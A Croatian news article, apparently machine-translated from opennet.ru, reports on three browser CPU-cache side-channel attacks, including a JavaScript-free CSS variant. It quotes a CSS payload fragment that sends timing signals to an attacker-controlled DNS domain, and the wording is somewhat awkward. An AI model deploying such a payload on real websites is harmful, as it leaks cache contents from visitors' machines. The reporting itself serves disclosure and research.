Napad ekstrakcije CPU predmemorije implementiran u web pregledniku bez JavaScripta

Tim istraživača s nekoliko američkih, izraelskih i australskih sveučilišta razvio je tri napada koji se izvode na web preglednike kako bi izvukli informacije o sadržaju predmemorije procesora. Jedna metoda radi u preglednicima bez JavaScripta, a druge dvije zaobilaze postojeće metode zaštite od napada sa strane kanala, uključujući one koje se koriste u pregledniku Tor i DeterFox. Kod za demonstraciju napada, kao i serverske komponente potrebne za napade, objavljeni su na GitHubu.

Za analizu sadržaja predmemorije, svi napadi koriste metodu Prime+Probe, koja uključuje punjenje predmemorije standardnim skupom vrijednosti i otkrivanje promjena mjerenjem vremena pristupa njima prilikom ponovnog punjenja. Za zaobilaženje sigurnosnih mehanizama prisutnih u preglednicima koji ometaju točno mjerenje vremena, u dvije opcije, upućuje se žalba na DNS ili WebSocket poslužitelj koji kontrolira napadač, a koji vodi evidenciju vremena primljenih zahtjeva. U jednoj izvedbi, fiksno DNS vrijeme odgovora koristi se kao vremenska referenca.

Mjerenja provedena korištenjem vanjskih DNS ili WebSocket poslužitelja, korištenjem sustava klasifikacije temeljenog na strojnom učenju, bila su dovoljna za predviđanje vrijednosti s točnošću do 98% u najoptimalnijem scenariju (prosječno 80-90%). Metode napada testirane su na različitim hardverskim platformama (Intel, AMD Ryzen, Apple M1, Samsung Exynos) i pokazale su se univerzalnima.

Napad ekstrakcije CPU predmemorije implementiran u web pregledniku bez JavaScripta

Prva varijanta DNS Racing napada koristi klasičnu implementaciju metode Prime+Probe koristeći JavaScript nizove. Razlike se svode na korištenje vanjskog tajmera temeljenog na DNS-u i rukovatelja onerrorom, koji se pokreće kada se pokuša učitati slika s nepostojeće domene. Vanjski tajmer omogućuje Prime+Probe napad na preglednike koji ograničavaju ili potpuno onemogućuju pristup JavaScript tajmerima.

Za DNS poslužitelj koji se nalazi na istoj Ethernet mreži, točnost mjerača vremena procjenjuje se na približno 2 ms, što je dovoljno za izvođenje napada na bočnom kanalu (za usporedbu, točnost standardnog JavaScript mjerača vremena u pregledniku Tor je smanjen na 100 ms). Za napad nije potrebna kontrola nad DNS poslužiteljem, budući da je vrijeme izvršenja operacije odabrano tako da vrijeme odgovora DNS-a služi kao znak ranijeg završetka provjere (ovisno o tome je li aktiviran onerror handler prije ili kasnije donosi se zaključak o brzini operacije provjere s predmemorijom) .

Druga metoda napada, "String and Sock", ima za cilj zaobići sigurnosne tehnike koje ograničavaju upotrebu nizova u JavaScriptu na niskoj razini. Umjesto nizova, String i Sock koriste operacije na vrlo velikim nizovima, čija je veličina odabrana tako da varijabla pokriva cijelu LLC predmemoriju (Last level cache). Zatim se pomoću funkcije indexOf() u nizu pretražuje mali podniz, koji u početku nije prisutan u izvornom nizu, tj. operacija pretraživanja rezultira ponavljanjem preko cijelog niza. Budući da veličina retka odgovara veličini LLC predmemorije, skeniranje vam omogućuje izvođenje operacije provjere predmemorije bez manipuliranja nizovima. Za mjerenje kašnjenja, umjesto DNS-a, upućuje se poziv WebSocket poslužitelju kojim upravlja napadač - prije i nakon završetka operacije pretraživanja, u liniji se šalju upiti na temelju kojih poslužitelj izračunava kašnjenje koje se koristi za analizu predmemorije. sadržaj.

Treća varijanta napada “CSS PP0” implementirana je kroz HTML i CSS, a može raditi u preglednicima s onemogućenim JavaScriptom. Metoda je slična "String and Sock", ali nije vezana za JavaScript. Tijekom napada generira se skup CSS selektora koji pretražuju po maski. Početni veliki niz koji ispunjava predmemoriju postavlja se stvaranjem div oznake s vrlo velikim nazivom klase. Unutra se nalazi skup drugih divova s ​​vlastitim identifikatorima. Svaki od ovih ugniježđenih divova ima svoj stil sa selektorom koji traži podniz. Prilikom renderiranja stranice, preglednik prvo pokušava obraditi unutarnje divove, što rezultira operacijom pretraživanja u velikom retku. Pretraživanje se izvodi korištenjem namjerno nedostajuće maske i dovodi do ponavljanja preko cijelog retka, nakon čega se pokreće uvjet "ne" i pokušava se učitati pozadinska slika koja upućuje na slučajne domene: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … x x ...

Poddomene opslužuje napadačev DNS poslužitelj, koji može mjeriti kašnjenja u primanju zahtjeva. DNS poslužitelj izdaje NXDOMAIN za sve zahtjeve i vodi dnevnik točnog vremena zahtjeva. Kao rezultat obrade skupa divova, napadačev DNS poslužitelj prima niz zahtjeva, čija kašnjenja između njih koreliraju s rezultatom provjere sadržaja predmemorije.

Napad ekstrakcije CPU predmemorije implementiran u web pregledniku bez JavaScripta


Izvor: opennet.ru

Dodajte komentar